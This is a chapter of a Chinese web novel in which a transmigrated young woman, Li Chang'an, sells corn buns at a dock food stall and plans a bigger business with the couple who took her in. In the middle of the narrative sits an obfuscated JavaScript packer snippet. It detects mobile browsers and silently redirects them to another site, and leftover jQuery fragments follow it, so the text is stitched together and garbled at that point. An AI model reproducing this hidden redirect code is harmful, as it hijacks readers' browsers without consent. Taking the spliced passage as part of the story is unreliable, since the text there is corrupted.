“金窝窝?那是什么?”
“没听说过……但是闻着挺香啊,看起来也好看。”
“她刚才说什么?金疙瘩?倒是有几分像,还真讨喜。”
那几个人果然被吆喝声吸引,脚步一转,往摊前走来。
“小娘子,你方才说这个怎么卖?”其中一个探头使劲闻了闻。“5文钱2个?玉米面做的这个价贵了点吧。4文行不行?人家杂面馍馍都1、2文一个的。”
来的第一个客人就想讲价,黎长安听了反倒高兴。有道是“想压价的才是真买主”,这说明对方有兴趣。
“这是加了肉汤的呢,吃起来有些滋味,不配小菜也好吃。”黎长安笑着介绍道,用筷子夹起一个,翻过来给他们看。“这中间有个窝窝,四周厚薄均匀,若是备了小菜可放在这中间,吃起来很方便的!”
“几位客官看这个头,”她示意几人看桌上的蒸笼,窝窝个个大小匀称,光滑漂亮。“这么大,以你们的饭量,一顿两个定能吃饱。我看几位是新品的第一批客人,不如试吃一口?”
“好啊好啊,还能试吃?”
几人闻言,眼睛顿时放光,把摊子围得更结实了。
所谓舍不得孩子套不着狼。这几位要出行的客人明显存在购买需求,若是口味合适加上人的从众心理,说不定一人想买就会带出两个三个、有可能一次性就卖掉好些呢!
黎长安这么想着,将一个窝头分成几份,递给他们。
“现在刚蒸好,正是最好吃的时候。回头带上船凉了也没事,口感虽会变硬点,但和饼子一样,都是能放几天的。”
几人吹了吹,纷纷将自己那块放入口中。
“诶,是和普通的玉米饼子不一样啊。”有人感叹道。
“确实,味道更丰富了,还真是加了肉汤?”
“嗯……这倒是新奇。”
最初那个想讲价的这会儿也不讲了,见这金窝窝味道确实还不错,当即就冲黎长安道:“小娘子给我包两个……不,包四个吧,正好我才在陶记卤味买了酱豆干,还没配干粮呢。”
“也给我来四个!每次都是烧饼馍馍,这回也换个口。”
“我来两个吧。”
“我也要两个!”
果然,有了第一个愿意购买的客人,其他几人也被带着下了单。反正也不贵,与其买那些吃腻了的,不如试试新口味。
居然一下就卖掉了这么多!
黎长安笑得更灿烂了,一边应着“好嘞!”一边用胳膊肘戳了戳愣神的乔三婶。
“啊?”乔三婶被这么一戳才回过神来。
这丫头三言两语的,居然一下就卖得只剩四个了?
“婶子,我不会包,你和叔帮帮我吧。”黎长安小声道。
“哦哦哦。”乔三婶连忙又拉拉乔三叔,两人拿着之前洗好晾干的芦苇叶包了起来。
不同于黎长安这个“外来户”,乔氏夫妇自然是包得又快又好。黎长安一边把包好的食物递给客人,一边笑盈盈地大声道:
“多谢客官,祝客官一路顺风顺水,行好运,发大财!日后也赚个金疙瘩回来!”
她清亮的嗓子一唱,不仅周围人侧目,几个客人也被哄得喜笑颜开——不过是买个几文钱的干粮,竟也有彩头!
“哎呦,这小娘子可真会说话!”
“借你吉言,借你吉言了!”
“你这小娘子不简单,只怕我们回来时,你的生意已做大了!”
几人乐呵呵的,提着包裹离开了。
黎长安:什么叫情绪价值?这就是情绪价值!一句吉祥话,能叫人开心一整天,有了实惠还得了面子,可划算的很。有了这样的情感联系,客人能回头的概率可就大大提升了~
这几人一走,桌子面前就又空了出来。
方才有其他人也注意到了这边,可惜被那几人挡得严实。本想等人散了再来,结果一看,怎么他们每个人都买了啊?这蒸笼,怎么一下就快空了?
有这么好?那我也得试试!
于是,也顾不得许多,上来就比出两个手指:“我也来两个。”
“最后这两个是我的!老板钱在这儿!”很快,又一人冒了出来,“啪”一下把铜板拍到桌上,抢下了最后两个。
这么快……就卖完了?
乔氏夫妇交换了一个有些发愣的眼神,但很快又变成了抑制不住的喜悦,手上动作不停,把这两份也包完了。
黎长安把包裹交到客人手上,同样祝他们好运发财,又对其他围着的人道:
“实在对不住,今日第一天做,只做了这么十来个。客官若是有兴趣,烦请明日再来吧。”
“好吧,那就明日。明日多做些啊。”
“哎,明日我就不在这儿了,算了算了,不过是口干粮,我还是换别的吧。”
人们感叹几句,各自散了。
-
黎长安和乔氏夫妇把蒸笼搬回后厨,从腰间摸出了刚才收的四十文。
“婶子,方才收的这笔钱,我可以暂时先留着,做明天买玉米面的本金吗?如果明天也能卖完,它就能变成150文,除开今天的本金12文,利138文。你们拿六成也就是83文,我留55文做日后的本金。”
“我们怎么能拿六成!”乔三叔忙推辞:“做法是你想的,买卖也是你招呼的,我们就是在一旁帮帮忙。你知道那些力工一天赚多少吗?活少的时候30多,生意好的时候也就50多呢,今天下午就这么一会儿咱们净赚28文,很厉害了,是你有这个脑子啊!”
黎长安摇了摇头:“叔,首先呢,本金是你们的,所有的店面厨具是你们的,让这个金窝窝更好吃的肉汤,也是你们熬好现成的。这不值得拿大头吗?”
“而且我觉得,这个利润还不足。咱们若想赚钱过好日子,可不能满足于这2倍多的利润。”
“2倍多……还不行啊?”乔氏夫妇对视一眼,“已经挺好了吧。”
“是挺好的,但我觉得还可以赚得更多。”黎长安道。
“叔叔婶子的面很好吃,在这里经营了这么多年,又有口碑又稳定,是个不错的营生。但二位肯定也知道,这赚的是份辛苦钱,这里的大多数人不舍得花多少钱来吃饭,若是想把价提上一提,客人只怕就去吃别家了。你们天天早出晚归的,付出十分的辛苦,利润却不够丰厚。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491385|202246||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“但你们看那些酒楼茶楼的东家,环境又好,又不用怎么劳动,活计雇人来做,自己躺着收利就好,还有闲听曲遛鸟的,你们不想过这样的生活吗?”
“哎呦!这么好的日子谁不想过呀!”乔三婶乐得拍了黎长安的胳膊一下。“那也得过得上呀!人家家里有钱,开得起来,我们?也差太多了吧!梦里想想倒是可以。”
“婶,人家也不是一开始就是大酒楼的。我们完全可以从小食铺做起嘛,”黎长安道:“叔的腿脚不好,这么长时间站着多辛苦啊。婶子也是,这么多年没怎么休息过吧?咱们从现在开始,规划一个可以让你们不那么累,能舒服点养老的生意不好吗?”
“好,好,”乔三叔拉了拉乔三婶的袖子,笑呵呵道:“黎丫头这是为我们着想呢。先听听呗。你看她赚钱那么快,说不准还真能带我们过那种日子。”
“真的能,”黎长安保证。“我是这么想的,码头的生意呢,卖不上什么价,但适合积攒本金,我想借着叔叔婶子的地方做点小买卖,一方面给你们帮忙,一方面赚到的部分按我四你们六来分,也是给你们加份收入。”
“等有点本金以后,我想去做有钱人的生意。他们手头宽裕,对银钱多一点少一点没那么敏感,我的价自然能定得更高一点。”
“至于码头这边,你们若是觉得我的方子不错,可以雇一个人来做,到时候除开工人的工钱,其他的就都是你们的利润了。”
“日后,我若是做得顺利,就能把叔叔婶子接出来,到环境更好的地方再置铺面,最好是能让二位坐着干活。现在码头的这个,可以连着方子铺面都转给他人。这样一来,你们过得更舒服,熟客也还能吃上同样的味道,不知你们觉得这样可行?”
乔三婶有些犹疑地看了看乔三叔,又对黎长安道:“若是真能这么理想,当然是好的。说实话,我们这些年确实觉得,年龄上去了,身体也容易疲惫。我俩私下里说过,以后年纪要再大了,干不动了,可怎么办……家里幺儿到时候一个人养好几个长辈,别说谁家姑娘肯嫁,自己怕是都维持不了。”
幺儿?
黎长安突然意识到,自己穿过来后,还未曾问过他们家中的情况。
“冒昧问一句,婶子家里孩子多大了?除了孩子和三叔的大哥,还有几口人?”
“还有你三叔的爹娘。我和你三叔有个大女儿,已经嫁去外地了,幺儿现在才六岁。上头二哥走得早,大哥又卧床做不了活计,爹娘年纪大了,就在家中照顾他们,帮我们做些清洗下水的活,也是没有什么收入的。所以……若是你真有法子让我们多赚点,我们不怕辛苦,就想着趁现在都还康健,能尽量多攒些。”
黎长安不知道心里是个什么滋味。
之前王婶子说乔三两口子“养着一大家子还养着她”的时候,她还没有多么深刻的感受。
可是今天一天,她是真切地受着二人的照顾,又亲眼见到他们的忙碌辛苦。如今再听闻这样的情况,越发觉得他们实在是太不容易,又太坚韧了。
这么好的人,应该值得更好的生活。
要搞钱,一定要多多的搞钱。
黎长安如是想。